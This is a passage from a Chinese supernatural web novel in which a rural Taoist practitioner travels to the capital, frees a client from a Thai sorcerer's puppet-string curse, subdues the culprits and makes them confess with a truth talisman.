黎雅点了点头,“是。”
我没说话,又拿起照片看了看,三个死者的死相也没什么特别的,我双眼用力,也没在他们身上看到什么东西。
我觉得这照片上,应该是看不到吧。
我摇了摇头,“从照片上看,我也看不出什么东西。这三个人,对你很重要吗?”
黎雅看向我,纤细的手指指着一个年轻男子,“算不上重要,但这个人的死,对我们家影响很大。那边让我们给一个满意的答复。”
我看了看那男子,约莫二十六七岁,长相普普通通,但个子很高,应该有一米九那么高。
“还有,这三个人都死在了我家的大厦里,现在闹得沸沸扬扬,要是再出事,那就没法收场了。”黎雅又补充道。
我点了点头,我虽然不理解黎雅说的大厦是什么性质,但我明白凶宅啥样。横死过人的凶宅,卖都不好卖,应该是一个道理。
随后,我突然灵光一闪,快速地翻到了前几张三人吃串的画面。我双眼用力,果然看到了东西,那是一条条的线,挂在了那个高个青年男人的身上,他的一举一动都是被这线控制。
有点像是,提线木偶。但这毕竟是照片,我只是感觉是这样的。而后,我又快速地翻到后面,双眼再次用力,上面却什么都没有。
我猜测,这玩意只针对活人,人死了,那条线也就没用了。
见到我的举动,黎雅急忙问道,“你是不是发现了什么?”
我点了点头,指了指那个高个男子,“你说的没错,他们的死并不是什么意外。原因,应该就是这个人。而其他两个人,应该是受他牵连。”
我歪了歪脑袋,总觉得浑身不自在,发现了这提线,我觉得特别不舒服。
“那,还会死人吗?你有什么办法吗?”黎雅深吸一口气。
“我没办法,我不知道该怎么解决。”我摇了摇头,看向了身旁的黎雅,那种不好的感觉又来了。
黎雅咬了咬嘴唇,也陷入了沉默。
很快,我爹我娘,大哥大嫂他们也都回来了。见黎雅在这,几人的表情很丰富。而黎雅因为孤身前来,来者是客,我也没安排什么旅馆,直接让她住在我家里了。
黎雅也不在意,点了点头同意了。倒是我大哥们,一个个面面相觑。
黎雅住在我那屋,我则是住在了客厅沙发。本来都睡着了,但因为那照片的事,我半夜突然坐了起来,又拿起了照片反复观看。
结果这一看,我汗毛都竖起了。倒不是因为照片,而是我看到黎雅从我那屋子里走了出来。
“你是不是要起夜?”起夜,也就是上厕所。我们家厕所在院子后,黎雅一个城里姑娘,我怕她不习惯,所以主动了点。
然而,她却没回答我的话,而是自顾自地在客厅里转悠,我觉得奇怪,下意识地打开了灯。
轰。
我倒吸一口凉气,她像是一个提线木偶,在客厅里诡异地动着。
而我也总算明白了,为什么从第一次见面就觉得不舒服,原因就在这。她很不正常,而当时的我虽然能察觉到,但找不到原因。
“黎雅,黎雅。”我手心里捏了把汗,这玩意可比梦游吓人多了。大半夜的,在你面前晃动,神仙估计也得吓一蹦跶。
然而,我叫了两声,她还是没有反应。我想到了照片,双眼用力,一股道力在我眼中,我觉得眼睛里发热。
果然,我在黎雅的身上看到了一条条发光的白线,这些线穿过黎雅的脑袋,手臂,手掌,脚心,小腿。而此时的黎雅就是个木偶,哪根线提起来,她就跟着动,所以才有了刚才那种诡异的画面。
我也算是习惯了,虽然吓了一跳,但很快就冷静了下来。感受到黎雅暂时应该没有什么危险,我打量起了那些线。它们穿过了房梁,难道房梁上有人?
于是我跑到了院子里朝着天空看了过去,结果,那些线非常的长,像是从天空穿下来一样。
“这是什么鬼东西?”我揉了揉太阳穴,也是很头疼。
等我再次回到屋子里,黎雅已经不在了,我急忙跑我那屋去找她。打开灯,发现她躺在炕上在睡觉。
我凑了过去,双眼用力,那些线居然不见了。我皱了皱眉头,扒开的她的手看了看,又扒开了她的大腿,仔仔细细的检查了起来。
线呢?
怎么一点迹象都没有?
……
第二十九章列车上的母女俩
难道。
黎雅死了?
想到照片里死人是没有线的,我也吓了一跳,发现她胸口起伏,还有呼吸,我也松了口气。
但一抬头,看到黎雅正盯着大眼睛看着我。
于是,我俩大眼瞪小眼的。
此刻,窗外已经微微亮了,说实话,我倒是没觉得特别尴尬,因为我根本没有龌龊的想法,但看到黎雅那警惕的双眼,我有些不好意思。
我说,“我要说我找线呢?你信吗?”
黎雅俏脸怔了怔,显然这个说法在她那驴唇不对马嘴,但她却第一时间没有冲动,而是很平静的看向我,“你扒开一个女人的大腿找线?”
我点了点头,原本我没打算把提线木偶的事告诉她,但避免误会,还是把整件事都说了。
黎雅脸色发白,白得吓人,本来她迷迷糊糊的,现在精神了,靠在墙上,双眼恐惧,“你是说,我会死?”
我说,“可能吧。但我觉得应该有救。”
黎雅突然抓住我的胳膊,死死盯着我,“怎么救?”
我想了想说道,“把那些线弄掉了应该就没问题了,但我不知道该怎么弄。所以刚才我找线,就是想试试。结果,你人一醒,线就没了。”
闻言,黎雅有些蔫了,看得出来,她很害怕。我想了想,“这样,你在我家住几天,我看看怎么回事。会有办法的。”
黎雅苦笑,“也只能这样了。原本,我还想着让你跟我回一趟帝都处理这事,想不到,连我都中招了。”
我笑了笑,“顺其自然,这次,就不收你钱了。但要是去帝都,那得另算。”
黎雅无了个大语,随后倒是噗嗤笑出了声,然后四仰八叉地又躺下了,“冯大师,碰到你这个家伙,我也不知道该说是幸运呢,还是祸端啊。我睡了,你找线吧。”
我愣了愣,看着肤白貌美的黎雅,突然想给自己一个大巴掌,这怎么跟悟空似的,光顾着偷桃了,怎么忘了看仙女。
虽然这样想,但我这人还是很正直了,退出了屋子,想着破解的法子。
一连两天过去了,黎雅也在我家待了两天,但她却没有发作。而她在的这两天,倒是把我爹娘哄的开心,说我娘做饭好吃,说我爹年轻前肯定俊朗,哪怕现在也气度不凡。
我嘴笨,不太会说话,而黎雅呢,真的应了一句话,好马出在腿上,好人出在嘴上。我家里人都特别喜欢她。
“我跟你去帝都吧。”我感觉向来很准,黎雅这事没那么简单,就好像有人故意不再提线一样。我估摸只要她在黑城,她就不会成了那木偶。
于是就这样,我跟我爹娘打了个招呼,连夜坐上了绿皮车赶往帝都。
长这么大,我一直在黑城晃悠,这是我第一次出远门。得知要坐三十个小时的火车,连我都觉得有些恍惚了。
而我也看得出来,黎雅似乎也不怎么坐火车,她有些疲惫,没等到后半夜就靠在我肩膀上睡了。
倒是我有些精神,看啥都感觉很新奇。原本上车那会还有些吵,车厢里大家聊得热火朝天,结果到了后半夜,一点动静都没有。
我往前看了看,车厢里的人为了睡觉,全都横七竖八地躺着呢,过道,座椅下,总之能睡觉的地方,全都有人。
更有狠人,直接爬到了装行李的上方睡觉。
我年龄在这呢,很惊奇这种事,因为我觉得我就算困了,大不了坐着睡。
“黎家请你们出马仙弟子,给了多少香?”我们坐在车厢尾,而这会,我听到了一道熟悉的声音。
“五万。”有人回道。
“五万,那还真不多,在关外,看事看病,出马仙弟子绝对是头一把。”熟悉的声音感触。
“田大师,这年头有些事身不由己。关外,我们出马仙弟子说得算,但进了关内拿香,那要看很多人脸色的。当地的城隍,马王,喜神,现在能拿到这个数,已经不少了。我听说,连南方的赊刀人都来了……倒是你,孤家寡人一个,又本事超群,不用看任何人脸色。”那人又说。
闻言,有些沉默,半分钟才开口,“对了,你对黑城那边的道爷,有没有了解?”
“没听说过黑城有道爷。整个龙省,都没多少道爷。你不就是吗?”
“那就奇了怪了,从哪冒出来的呢。”
“怎么了,出什么事?”
“没有没有,就是随便问问。”
…
听到两人的对话,我眯眼笑了笑,那熟悉的声音不是别人,正是被我用雷劈的老道。
他们似乎也要去黎家。
但听归听,我也没去理会,说实话,要不是他找我麻烦,我们恐怕根本没有什么交集。而眼下,我也不想有什么交集。
我也眯眼睡了,但迷迷糊糊的,总觉得听到了一些动静。而明明都睡着了,周围的情况却一清二楚,谁干什么,做什么,我居然都能看到。
我惊讶了,尝试着去看车厢那头人的动静,结果,我真的看到了,只要我想,任何角度都可以。
什么情况?
我纳闷呢,结果更惊讶的事还在后面,我听到车厢里有人哭,嘴里面还念叨着想回家。我顺势看了过去,一对穿着短袖的母女俩坐在角落里。
我上前看了看,问他们怎么回事。那母亲擦干了眼泪,说是想回东北了,但出不了关,关爷不让。
我纳闷了,这不是往关内去的列车吗?她坐反了,赖人家关爷?什么是关爷。
而就在这时,那小女孩突然抬起了头,问我,“大哥哥,你能看到我们是吗?你能看到我们?”
轰。
我突然头皮发麻,那是一张白如瓷娃娃的脸,她双眼空洞,像是黑洞,这根本不是人!
“大哥哥,你怎么了?怎么飘在半空中呢。你也想回东北嘛?”这小姑娘歪着脑袋看向我。
而后,我才意识到了不对劲儿,我猛地惊醒,已经是中午了。我下意识地去那墙角找那母子,却发现那根本什么都有,至于我为什么飘在半空中,我最后不得不总结,可能是个梦。
但我又不觉得是个梦,因为太真实了。直到后来修道上年头久了我才知道,那叫元神出窍,是一种非常危险的举动,弄不好魂灰魄散。
至于车上那母女俩,也不是什么鬼怪,同样也不是什么能量,准确点来说,她们是人死后,活在这个世界的影像。
她们死了,却不知道自己死了,所以重复着生前的事。等到二十年,或是三十年,再或者五十年,它们有一天发现自己死了,也就彻底解脱了。
而我们方士管它们叫‘无’。
意思是不存在的。
说实话,成为一个修道的,能看到其他人看不到的东西,有时候都会自我怀疑,看到的人,真的就是人吗?
而这对母女,我在五年后又见过一次,那时候我已经知道了她们是什么。我残忍地告诉她们真相,在惊愕中,母女俩灰飞烟灭。
当然,这都是五年后的事了。
……
第三十章初到帝都被冷漠
坐了三十多个小时的绿皮火车,我们在凌晨三点多到的帝都西站。
这会儿天微微亮,一出站,冷风吹袭,我的第一个感受就是这地方没有东北冷。随后,看着站前那拔地而起的高楼大厦,我有些震撼。
这是人能造出来的房子吗?怎么跟书上说的金字塔似的,威严耸立,高入云霄。
我当时就是农村小伙进城的状态,见什么都新奇。
“爸爸。”我还在四处观望,面前突然走过来两人,其中一个穿着唐装,拄着拐杖的中年人,威严的看向黎雅。
“爸爸,我给您介绍,这位是我从黑城请来的朋友,他叫冯宁。”说完,黎雅拉了拉我胳膊,“冯宁,这是我爸爸。”
黎雅他爸瞥了我一眼,他没做声,也没给我说话的机会,转身上了身后的虎头奔。黎雅见状急忙解释,“冯宁,我爸就这样,你放心吧,他是个很好相处的人。”
我无语了,那像是很好相处的样子吗?
上了车,也不知道去哪,我也没问,虽然一路上没怎么睡,但初到帝都,哪哪都是好奇,我一直望着窗外观望,出奇的精神。
“我女儿给了你多少钱?”黎雅他爸坐在副驾驶上突然问我。
转头看了过去,黎雅已经睡着了,我也没瞒着,“她说我帮忙以后给我十万。”
黎雅她爸冷哼,“哼,你还真敢狮子大开口呢,你知道一个东北有名的出马仙弟子才多少钱吗?五万,那还是我给他机会,你,凭什么?”
说完,我在车内后视镜里看到了黎雅她爸黑着的脸。
我在镜子里盯着他,毫不惧色,“她请我来的,不是我想来的。至于你说的什么出马仙弟子,我不认识,也不知道是什么东西。”
闻言,他皱了皱眉头,“你是东北人,不认识出马仙弟子?”
我反问,“怎么,谁规定的东北人就要认识了?”
镜子里,黎雅她爸明显愣了愣,而一旁的司机,也扯了扯嘴。
总之,我们的第一次见面并不愉快,两边甚至还有矛盾了。
我知道对方的身份不一般,但我并不在乎。是黎雅请我来的,要不然我们也不会有接触。
说句不好听的,本来我们也没什么关联,我是看在黎雅的份上来的,我为啥要看他的脸色?难不成他年长几岁就能那种教训的语气?可以给我脸色看?至于十万块,那是看中了我的本事,应得的。
别说我了,但凡是个土生土长的东北人,都很抗拒这种事。
大约一个多小时,车子停在了皇冠酒店门口。随后黎雅他爹下了车不见了踪影,司机把我安排在了套房里。
我震惊了好一会,柔软的大床房,干净舒适的环境,还有内置的浴室厕所。我心想,当时要是跟索菲亚在这地方,那我应该还能在晚点走。
洗了个澡,我也有点困意,躺着就睡着了。等听到黎雅的敲门声,已经是下午两点了,她说有吃的,我跟她就去了。
坐上电梯我们前往了三楼,从下电梯的那一刻,我又被吸引了,眼前全是吃的,各式各样,水果,蔬菜,糕点,各地的美食,真的是要什么有什么。
我忍不住想,帝都真牛逼,吃顿饭都这么丰盛。
“小雅,你回来了。”而正在这时,一个年轻人过来搭讪,他约莫二十六七岁,个子很高,卖相也不错。但我看了他一眼,心里面就犯膈应。
我总觉得他阴阴沉沉的。
“王麟?你怎么在这?”从黎雅的口中我得知了这人的名字,他叫王麟。
“大哥说你家请了不少人,让我过来帮忙,听说你去东北了?到底啥事啊?”王麟疑惑。
“还是大厦的事。”黎雅说。
“啊……这位,不会就是你请的朋友吧?”王麟看向我。
“嗯,冯宁。上次我朋友的事,他给解决的。”黎雅点了点头。
“啊,那幸会幸会,我叫王麟,黎雅的朋友。”说完王麟就跟我握手。
我看了看他,却没有把手伸过去,以我的眼力绝对没看错,他食指拇指之间,藏了一把锋利的刀片,刀子上还有不明的液体,我能闻到一股香气。
“这……”王麟尴尬地看向了黎雅。
“王麟,我们先去吃自助了,等会聊。”黎雅笑了笑,拉着我的胳膊就走了。
随后,我突然感觉背后一阵发凉,刚好前方有一个镜子,我看了过去,刚才那文质彬彬的王麟,正用一种凶光盯着我。
要说刚才猜测对方有问题,如今我已经完全确定了,这个人问题大了。因为从他那眼神不难看出,他想杀了我。而他,也肯定杀过人。
第一次吃自助餐,我点了不少东西,满满的两大盘。但我也没光顾着干饭,毕竟我是拿人钱财替人消灾的,我一边吃一边问,“这个王麟是你什么人?”
黎雅随口说道,“王麟啊。他爸妈以前都在我家做事,我俩一起长大的。后来我爸帮他家开个公司,他爸成了老板,一家子也就都留在了帝都。”
我疑惑,“这种关系嘛?具体呢?在你家到底做什么的。”
黎雅怔了怔,“没看出来啊,你很八卦啊。”
然而我却没说话,只是盯着她。黎雅美目闪动,她没有在敷衍,态度端正,“他爸以前是我爸的司机,他妈是我家的保姆。之前的话,王麟一直是我的陪读,现在在我大哥公司做副经理。有什么问题吗?”
我点了点头,“有。对了,你这段时间见过王麟吗?”
闻言,黎雅沉思,“有,两个月前。”
我又问,“见过他之后,你受过伤吗?”
黎雅盯着我,她沉思了一下,然后举起了右手,在掌心侧面有一条淡淡的伤痕,“我这段时间确实受过伤,就是这。但我有点记不清跟王麟有没有关系了,我只记得等我发现伤口的时候,都快愈合了。”
我没说话,示意她把手伸过来,看着那细嫩的双手,我在那伤疤上捏了捏,之后又闻了闻。与我猜测的一样,有刚才闻到的那个香气。但这玩意有啥作用,我暂时还不知道,需要摸索。
等我再次抬起头,看到黎雅那张脸羞红,然后来了一句,“你是在找线吗?”
我纳闷,“什么找线?”
结果黎雅的脸更红了。我也不知道她为啥这样,而是直接道,“我想,我大致找到了救你的方向。”
黎雅回神,“你说王麟有问题?”
我摇头,“我也不知道该怎么说,或许有问题。从现在开始,你不许离开我的视线,因为,你很快就要出事了。”
说完,我看向了不远处,那里,王麟正用一种毒辣的眼神,死死的盯着我。
……
第三十一章黎家被人下降头
见我也在看他,王麟立马心虚的移开了目光,有说有笑地朝着熟人走去。
我继续干饭,期间又跟黎雅聊了一些事,但字里行间,她都没有怀疑过王麟对她有动机,甚至还替对方解释。
说那是个品学兼优的好人,家里人都很喜欢他什么的。然而,我从始至终都没回复这些话。
结果黎雅突然来了一句,“那我上厕所你也要跟着吗?”
我点了点头,“你要是信我,那最好让我跟着。”
黎雅怔了怔,倒是很配合,“我信你。”
说实话,她那态度有点古怪,像是一副我好像把她怎么样了,然后我咋地她都行似的。
反正给我的感觉,我俩挺微妙的。
对于我怀疑王麟的事,我也没解释,我虽然怀疑他不是个好人,但整件事有没有关系我不清楚,我需要走一步算一步。
我之所以没跟黎雅把事情说清楚,跟我看过的书有关系,书上说事以密成,语以泄败,我觉得这八个字说得对。
所以我做什么事,都不喜欢讲出去。
这边吃过饭之后,黎雅说要带我去大厦先看看,结果路上我居然碰到了一个熟人。
而缝尸人看到我,也是有些奇怪。与之前碰到的不同,她恢复了女儿身,穿着打扮时髦,那身材相当的哇塞。
她穿着羽绒服,胸前像是要被撑开了似的。
“你怎么在这?”缝尸人疑惑地看向我,又打量了黎雅。
“我是来帮忙看大厦的。你呢?来缝尸吗?”我问。
她摇了摇头,“我要是不穿那套衣服,是不会缝尸体的。我跟你一样,也是被找来看看。这可是帝都的天雷大厦,出了事,不只是我,我想南北但凡有点本事的人都会来看看。”
说实话,她说了半天,我也听不太懂,最后只记得她叫陆小旺,挺俗个名字。
我们一起进了大厦,顺便上了出事的十一楼。这层楼非常的空旷,除了混凝土里面什么都没有。我后来才知道,这叫做避难层。
走进来,里面已经来了不少人,男男女女都有,先说穿着,有穿中山装的,有披着军大衣的,也有唐装等等。再说手里面的家伙,五花八门,什么罗盘,玉佩,玉净瓶。
总之你看过去就知道,这些人来自五湖四海,天南地北。而听上去就更是了,虽然都是一个民族,但有的语言压根听不懂啊。
而我身边的陆小旺,也开始神神叨叨的了,她点了一炷香,走着一种奇特的步伐,有点像道家的天罡步,但肯定不是。
她似乎在找着什么。
“你呢?”黎雅问我。
我愣了愣,忍不住说道,“你是想着我像忽悠郭毅那样忽悠你嘛?”
黎雅急忙摇头,“那就算了,我们过去看看吧。”
看着她那小表情,我觉得有些好笑,而后也跟了上去。
而在这里,我并没有看到黎雅的父亲,因为整件事,都由黎雅大哥负责。但黎雅大哥也不怎么参与,就在一边静静地看着这些能人表演。
说实话,我感觉像是进了精神病院,然后精神病们在这各显神通。
期间,我见到了那田道士,他拿了个罗盘念念叨叨,四处转圈。
而后我也看到了那个出马仙弟子,他约莫三十多岁,个子不高,有着一张国字脸。他东西最多,葫芦,金银扇,压堂鼓,捆仙绳,等等。在那摇头晃脑,嘴里面不断地念叨着什么。
还有个更狠的,从背后拿出一把生锈的菜刀,对着空气砍来砍去,一个劲地问,你要刀吗?
总之,那场面有点乱,却又尽然有序。
“黎先生,我问出来了。”就在这时,那个穿着唐装,手里拿着猪骨头碎渣的中年人突然开口。
黎雅大哥点了点头,他看上去脸上没有一点波澜,但还是笑了笑,做了个请的手势。然后,我看到两个人去了楼梯口私下交谈。
我见到了之后,故意往那边凑了凑,随后,两人说话虽然声音不大,但我却听得清楚,那个中年人说,这是碰到大泰的降头师了。需要找到下降头的人才行。
而黎雅大哥敷衍了两句,说只要破了灾,会给他加五万什么的。
“你在干什么?”黎雅见我一动不动,疑惑地问我。
“偷听啊。”我直接道。
“偷,偷听?”黎雅无语地看着我。
“当然了,我又没办法找到原因,所以听听他们跟你大哥怎么说。”我继续直白。
“这么远,你能听得到?”黎雅无语,却又惊奇。
“能。”我真诚。
“好吧,算你厉害。”黎雅点了点头。
很快,又有人发现了什么,但让我意外的是,他们竟然都觉得是大泰的降头。而其中几个北方派系的,觉得这事弄不了,打算走人了。
其中就包括陆小旺。
刚开始的时候,我觉得他们神经兮兮的,表演成分很重。虽然确实是这样,但我却改变了一些看法,起码,今天到这里来的大部分人,都是真有本事的。
而我嘛,反而是个外行,所谓内行看门道,外行看热闹,有点这个意思。
“降头师很麻烦吗?”见陆小旺要走,我倒是拦住了她,问了问。
她看了看我,又看了看黎雅,使了个眼色,我们三暂时离开了大厦。而这会,天都已经黑了。
“要不是你能看到那东西,我都怀疑你到底是不是修道的。你真不知道?”陆小旺问我。
“不太清楚。”我都不知道她说的话啥意思。
“那你怎么知道对方是降头师的?”陆小旺疑惑。
“偷听的啊。”我说道。
闻言,陆小旺无语了,但她还是说道,“降头,蛊毒,养鬼,占卜,诅咒,这五类是大泰的巫术,乃是奇门。其中降头,蛊虫,养鬼,那是阴奇门,杀人不眨眼的。我们缝尸人一脉,做的是引魂摆渡的事,能看事,破事,但属于偏门。碰到降头师,就怕到时候没破了事,自己也搭里面了。”
我说道,“就是打不过呗。”
陆小旺朝我翻了翻白眼,就连一旁的黎雅也都是一副无语的样子。
但这姑娘倒是不生气,点了点头,“可以这样理解。碰上降头师,除非是真正的佛门,或者是天师府那种纯正的道统,否则的话,应该没有机会。哎,上面的那些人,一部分是骗子,还有一部分有点不自量力了。我猜测,今晚要出大事,还会死人,我劝你们也快点走,那玩意太厉害了。”
……
第三十二章我找到解决办法
陆小旺的话很真诚,但我却另有想法,我突然发现在她面前,我在这些事方面像是七窍通了六窍,一窍不通。
我意识到,自己太小白了,虽然是个修道的,但根本就是个愣头青。
其实我想问很多事,她是怎么知道的对方是降头师?她提到的天师府,真佛教,那都是什么地方?大泰的巫师这么厉害吗?
但因为问题太多,又非常的细碎,一时间我还没办法去开口。因为我也很清楚,这是人家吃饭的本事。
“你回东北吗?”见我没说话,陆小旺却突然问了一句。
我看了黎雅一眼,朝着陆小旺摇头,“我答应黎小姐帮她处理这件事,等处理完再回去。”
闻言,陆小旺的眼神在我脸上停顿两秒钟,她叹了口气,“我刚入行的那会跟你一样,天不怕地不怕,像是个愣头青。直到我把我的亲人害死了,我再也不敢乱来了。”
说完,陆小旺递给我一张名片,“我家在齐市,这是我家电话,你要是能活着回东北,给我打电话。我们算是认识了。”
说真的,陆小旺的这些话我听着还挺感动,结果这姑娘临走的时候又来了一句,“我最近很缺钱,家里有什么婚丧嫁娶,红白喜事都能找我。”
我哭笑不得,“你不是缝尸人吗?红事找你做啥?”
陆小旺摊了摊手,“谁告诉你我就缝尸人一个身份,我现实中是个化妆师,缝尸只是我赚钱最快的一个职业。你放心,但凡你介绍来的客户,我给你打九折,我够意思吧。”
说完,陆小旺转身挥了挥手,倒是很潇洒的走了。
陆小旺走后,我跟黎雅也没在回大厦,因为就算回去,我也看不出个啥。而我总觉得黎雅要出事,所以在餐厅的时候我才跟她说了那些话。
果不其然,黎雅真的出事了。回到皇冠酒店,因为怕黎雅出意外,所以我去了她的套房。前半夜还没事,我还跟她聊了些有关郭毅的事,她说郭家跟她家是世交,但她并不清楚五大仙的事。而我大致猜测,两家应该有着什么利益关联。
而到了后半夜,我睡在沙发上,黎雅睡在床上,她扑棱一下就立了起来。那样子就像是老电影里面的僵尸突然站起来似的,哪怕我有心理准备,也跟着吓了一跳。
接着,黎雅就跟那天一样,像是个提线木偶,机械似的往前走。
“黎雅,黎雅。”我叫她,但她却没有任何反应。
咔嚓。
但随后,更诡异的事来了,床在动?准确地说是颤抖。而等黎雅落地,那套房的门把手自动打开,咯吱一声门像是有人推开一样。
我啐了一口,“活久见了,真特么邪门。”
我一跃过去,在门口看来看去,那灯光忽暗忽明,但周围真的连个人影都没有。这门,确实是自己打开的。
而此时,我突然感觉到背后有人顶着我,回头一看,黎雅她想往外走,但被我拦住了。
我双眼用力,因为道力的原因,眼睛有些微热。而我又一次在黎雅的身上看到了那些线条,我皱了皱眉头,随后想到了陆小旺的话,她说过,天师府的纯正道统能对付这玩意。
我备受启发,一股道力充斥在双手上,接着朝着黎雅脑袋上的那条线抓了过去。果然,真把那条线给抓在手里了。
我一脸惊奇,跟着愣了愣,那条线居然穿在了我手上,我能感觉到一股力量,在波动着我的手筋。不过,它却对我起不到作用。
“我,我这是怎么了。”黎雅醒了,她现在的样子有点滑稽,但大半夜的,这种滑稽就有点吓人了。她漂亮脸蛋惊恐地看着我,但身子却不受控制的顶在我身前。
怎么说呢,准确一点的描述就是,木偶上有个人脑袋,她还能说话。
“嘘,我找到帮你解决的办法了。”我做了个噤声的手势,黎雅噤若寒蝉,但不难看出,她眼神里的恐惧没有丝毫的减少。
我再次动手,把她身上的线一根根拔掉,最后全都放在了我的手上。随着手上的线增多,那股波动我手筋的力量也越来越大。
“我,我能动了。冯宁,现在怎么办?”黎雅问我。
“去大厦十一层。”我说。
“啊……”黎雅脸色泛白。
“黎小姐,只要你去了,你想要的答案,也就有了。”我之所以说这种话,倒不是我多神乎其神,而是这股线的力量告诉我,控制线的人就在大厦十一层。
“好。”黎雅勇敢地点了点头。
之后,我让黎雅走在前面,我则是紧随其后地去了大厦那边。
正常情况下,这都后半夜了,这种写字楼大厦早就锁门了,哪怕不大门紧闭,也有轮流看管的保安。
但他就不正常,我们来到这,那大门是敞开的,大厅里黑漆漆的,连个人都没有。然后,连电梯的十一层,都是自动按的。
一路畅通无阻,直接到了十一层。
“大师果然厉害,这个女人真的来了。黎雅啊黎雅,你说说你,怎么就看不上我呢?我们可是青梅竹马,我对你那么好,啊,你怎么就不拿正眼看我!”出了电梯,我让黎雅走在前面,而正如我想的那样,那个王麟在这。
见到黎雅过去,他突然疯了似的怒吼。
“怎么回事?”紧接着,又有一道声音出现,我在暗中,顺着声音看去,角落里盘腿坐着一个骨瘦如柴的中年人。很显然,他不是我们民族的人。
“黎雅,要不是情况不允许,我真想在这玩玩你,这可是我的心愿。但没办法,玩完你,你的体内会有证据。所以啊,你去死吧。”说完,王麟突然做了个扭断脖子的动作。
然而,黎雅依旧站在那,死死地盯着他。
王麟有些毛了,朝着角落看了过去,“这,大师,她怎么还没死?”
那个骨瘦如柴的中年人突然站了起来,惊悚道,“不对,那降头,不在这个女人身上,另有其人。”
王麟似乎没听懂,“什么意思?”
降头师指着黎雅喊道,“她没被我控制,她是活的。”
王麟彻底傻了,看向了黎雅,而此刻,天蒙蒙亮,我看到了黎雅的轮廓,她脸上没了那种惧怕,取而代之的是怒火,“王麟,你为什么要这样做?”
王麟惊呆了,用手指着黎雅,“你,你没事?这,怎么可能。”
然而对于他们的恩怨情仇,我没有半点兴趣,我顺手摸起了脚下的砖头,在里面注入了道力,心中默念‘行’,瞬间窜了出去。
……
第三十三章跟坏人废什么话
砰。
来到那降头师面前,一板砖下去,拍得他满头是血,当场昏死。
而在那一瞬间,那股波动我手筋的力量,也跟着不见了。
“也不强啊?”我心想,但又怕这家伙跟田道士似的在装死,拿起板砖又是一下。
看着降头师头上血流不止,我松了口气,这下子肯定没那么容易醒了。
“你,你是那个东北来的?这怎么可能,大师,大师可是大泰的龙级降头师,怎么会被板砖拍晕?”王麟认出了我,目瞪口呆。
我警惕,这么非常的时刻,鬼知道对方手里有没有家伙,要知道这家伙可杀过人,跟他废话?我没那个习惯。
一个‘行’字,来到王麟面前,一板砖下去,他头一歪,直接拍晕了。
“这,这就完事了吗?我还没问他呢。”黎雅不可思议。
“问啥啊?”我疑惑。
“就是他为啥要伤害我们家。”黎雅说。
“这个好办,等会他醒了,我让他亲口说出来。至于现在嘛,应该不是问的时候吧?万一他身上有什么东西,或是在这四周布置了什么阵法,那不是给坏人机会吗?”我有些不解黎雅的做法。
“啊,那倒是。”黎雅心有余悸地点了点头。
两人一时半会也醒不来,但我却有点棘手了,虽然把两人解决了,但却不知道该怎么办了。而这会就体现出了黎雅的好处,她给她大哥打了电话,不到二十分钟,她大哥就带人来了。
见到了王麟,还有那降头师,她大哥皱了皱眉头,让人把他们绑了。
而在黎雅说了前因后果之后,她大哥差点没暴走,又心有余悸道,“想不到,还真有降头师这种东西,真的太可怕了。”
黎雅看向我,又跟她大哥说,“大哥,这次多亏了冯宁,要不然,你就见不到我了。”
黎雅大哥点了点头,“冯大师,谢谢了。我妹说,你有办法让他们吐真话?”
我说,“有,不过得等他们醒的,另外,需要给我准备点东西。黄纸,朱砂,黑狗血,毛笔,一把黄土,土地庙,或是城隍庙周围的土最好。”
黎雅大哥点头,“好,那你们先休息,我现在让人去准备。”
我和黎雅回了皇冠酒店,为了避免意外,还是住在一个套间。我躺在沙发上,闭目养神,黎雅却突然说,“你不会又是想着多要钱,所以才故弄玄虚要那么多东西吧?你放心,十万块,一分不会少的。而且,我大哥肯定还会多给你的。我猜,二十万。”
我愣了下,“黎小姐,你这是把我当财迷了吗?”
她却来了一句,“不是吗?你骗郭毅的铃铛,我可是见证人。”
我无语了,随后解释道,“这次还真不是,我要那些东西是想画真话符用。”
黎雅,“我不信。”
我无语,“不信拉倒。”
说完,我歪着脑袋看向了床上的黎雅,她也在盯着我,随后气呼呼的说不许看,埋头睡了。
一觉到天亮,吃过自助餐,这次黎雅大哥亲自开车来接我们,然后去了一栋别墅。
在这别墅里,我看到了黎雅他爸妈,还有被五花大绑的王麟降头师。此刻,他们已经都醒了,正用一种仇视的眼神看着所有人。
在我来了以后,那降头师朝着我哇哇直叫,愤怒都快溢出来了。
除此之外,还有几个人,之前在十一楼见过的能人异士。其中,就有那个田道士,他看到我,眼睛都清澈了。
“冯大师,看来我黎某人也看走眼了,你居然能抓到一个大泰的降头师。我们审了半天,他们不肯说实话,听说你有办法?”黎雅她爹拄着拐杖坐在椅子上,还是那身唐装,但对我的态度却有所改观。
“当然有,没有我来干什么。”我怼了过去,他那高高在上的样子,让我觉得不爽。
闻言,所有人都面面相觑,但我不在意,拿起黎雅大哥准备的东西,然后开始画符。
画符讲究的东西有点多了,不一样的符箓,画法和用料也不一样。先说这真话符吧。
步骤先是黄土上垫着黄纸,这样做是为了沾染土气,可以理解为五行中的土,而后毛笔先沾黑狗血后沾朱砂,然后全神贯注,以道力写下真话咒在符上。
黑狗血和公鸡血不太一样,公鸡血是驱邪的,黑狗血是邪的,我们叫邪力。这玩意能驱邪,本身却也很邪乎。而朱砂跟黑狗血,能在一定程度上产生灵力。
大致吧,就是这么个情况。而在场的这些人,似乎也没见过我这种画符的方式,在底下窃窃私语起来。甚至有人很不屑的。
我也不在意他们怎么想的,总共画了五张,我留了三张放在兜里,然后拿着另外两张,念着真话咒,猛地贴在了两人身上。
前一分钟,两人还没什么反应,但很快两人就困得眼皮都睁不开了。
“你问吧。”我看向了黎雅大哥交代道。
黎雅大哥惊讶地盯着我,随后点了点头,走上前去问话。
接着事情就明了了,王麟一直想着成为黎家的赘婿,但人家黎家根本没那个意思,久而久之,他心中有恨。
黎家的死对头找到他,他利用这个机会,帮对方做事。而这个降头师,就是黎家死对头找来的。
死的那个青年,那是黎家合作伙伴的儿子,黎家的敌对为了制造矛盾,让他取对方的血液给降头师。而他利用跟黎家人的关系接近对方,然后用手中的刀片拿到对方的血。
那刀片是特质的,上面有麻醉药,割破了对方,毫无知觉。至于其他两个青年,跟我猜测的一样,都是无辜的受害者,他们就是想把事情闹大,所以随手杀两个人。
至于黎雅嘛,这是他们最大的一步棋,杀掉黎家的千金,彻底搞臭大厦的名声。
得知了整件事情的起因和经过,连我都觉得有点过分了。要不是人家黎家,王麟这一家子哪有机会留在帝都?哪有机会成为老板?说不准,到现在都是司机保姆呢。
真的有点恩将仇报了。
然而,这毕竟与我无关,我的事情做完了,他们得给我钱。
